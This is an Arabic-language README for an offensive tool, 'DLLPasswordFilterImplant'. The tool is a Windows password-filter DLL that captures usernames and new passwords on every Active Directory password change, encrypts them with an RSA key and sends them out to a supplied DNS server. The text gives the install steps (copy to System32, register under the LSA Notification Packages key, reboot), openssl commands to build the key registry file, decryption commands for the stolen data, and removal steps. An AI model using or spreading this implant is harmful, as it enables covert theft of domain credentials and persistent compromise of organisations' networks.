
أداة زرع مرشح كلمة مرور DLL مع قدرات استخراج البيانات
DLLPasswordFilterImplant هي مكتبة ربط (DLL) مخصصة لتصفية كلمات المرور، تتيح التقاط بيانات اعتماد المستخدمين. كل حدث لتغيير كلمة المرور على نطاق (Domain) سيؤدي إلى تشغيل الـ DLL المسجلة من أجل استخراج اسم المستخدم وقيمة كلمة المرور الجديدة قبل تغييرها بنجاح في Active Directory (AD).
لمزيد من المعلومات حول مرشحات كلمات المرور، راجع توثيق Microsoft.
أنشئ الـ DLL للمعمارية المستهدفة. اجمّع في 32 بت لنظام 32 بت وفي 64 بت لنظام 64 بت.
انسخ الـ DLL إلى دليل تثبيت Windows. (المجلد الافتراضي: \Windows\System32)
سجّل مرشح كلمة المرور بتحديث مفتاح التسجيل التالي:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
إذا كان المفتاح الفرعي Notification Packages موجودًا، أضف اسم الـ DLL ("DLLPasswordFilterImplant" إذا لم تقم بإعادة تسميته) إلى بيانات القيمة الحالية. لا تستبدل القيم الموجودة.
إذا لم يكن المفتاح الفرعي موجودًا، فأنشئه وأضف اسم الـ DLL ("DLLPasswordFilterImplant" إذا لم تقم بإعادة تسميته) إلى بيانات القيمة.
ملاحظة: لا تُدرِج الامتداد .dll عند إضافة اسم الـ DLL في المفتاح الفرعي Notification Packages.
قم بتكوين المفتاح العام لاستخدامه في تشفير بيانات الاعتماد.
KEY=key.pem
# إنشاء مفتاح RSA واستخراج مفتاحه العام. احتفظ بالمفتاح الخاص لفك التشفير
openssl genrsa -out $KEY 2048
# إعداد إدخال مفتاح التسجيل لـ Windows
echo 'Windows Registry Editor Version 5.00' > addKey.reg
echo >> addKey.reg
echo '[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]' >> addKey.reg
# إذا لم يكن python2 موجودًا، استخدم `python` بدلاً منه
echo "Key=hex:$(openssl rsa -in $KEY -pubout | sed -E '/^\-/d' | base64 -d | python2 -c 'import sys; print(",".join(["{:02x}".format(ord(b)) for b in sys.stdin.read()]))')" >> addKey.reg
يمكنك بعد ذلك تشغيل ملف addKey.reg لإلحاق المفتاح العام الخام بالتسجيل.
لاحظ أن استخدام التشفير غير المتماثل يزيد بشكل كبير من حجم البيانات المراد استخراجها بسبب حشو الرسالة (padding). هناك تحسينات محتملة يمكن إجراؤها لتقليل الحمل الزائد للبيانات.
أعد تشغيل النظام المصدر
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
البيانات المشفرة مُحشوة باستخدام OAEP ويمكن فك تشفيرها كما يلي:
# تحويل السلسلة السداسية العشرية المترابطة إلى بايتات خام
xxd -r -p exfiltrated.hex > raw.bin
# فك التشفير باستخدام المفتاح الخاص
openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt
لإزالة مرشح كلمة المرور بالكامل من النظام:
ألغِ تسجيل مرشح كلمة المرور بتحديث مفتاح التسجيل التالي:
HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa
في المفتاح الفرعي Notification Packages، أزل اسم الـ DLL من بيانات القيمة الحالية. لا تزل القيم الأخرى الموجودة.
أعد تشغيل النظام
في دليل تثبيت Windows (المجلد الافتراضي: \Windows\System32)، ابحث عن DLL مرشح كلمة المرور (اسمها "DLLPasswordFilterImplant.DLL" إذا لم تقم بإعادة تسميتها) واحذف الملف.
يتم توفير خادم DNS بسيط لاستقبال البيانات المُستخرجة في scripts/. قم بتشغيل pip install -r scripts/requirement.txt، ويفضل أن يكون ذلك في بيئة افتراضية. ثم زوّده بمفتاح خاص بترميز .PEM وملف إخراج اختياري (الافتراضي هو creds.txt) لإخراج بيانات الاعتماد إليه.
حاليًا، لا يدعم خادم DNS تغييرات كلمة المرور المتزامنة، ويعمل فقط كدليل على المفهوم. طلبات السحب (Pull Requests) التي تضيف المتانة للخادم مرحب بها جدًا.
يعمل على:
تم اختبار مرشح كلمة المرور حصريًا على الأنظمة المذكورة أعلاه.
فيما يلي بعض الأدوات التي قد تساعدك في تصحيح أخطاء الـ DLL (إذا لزم الأمر):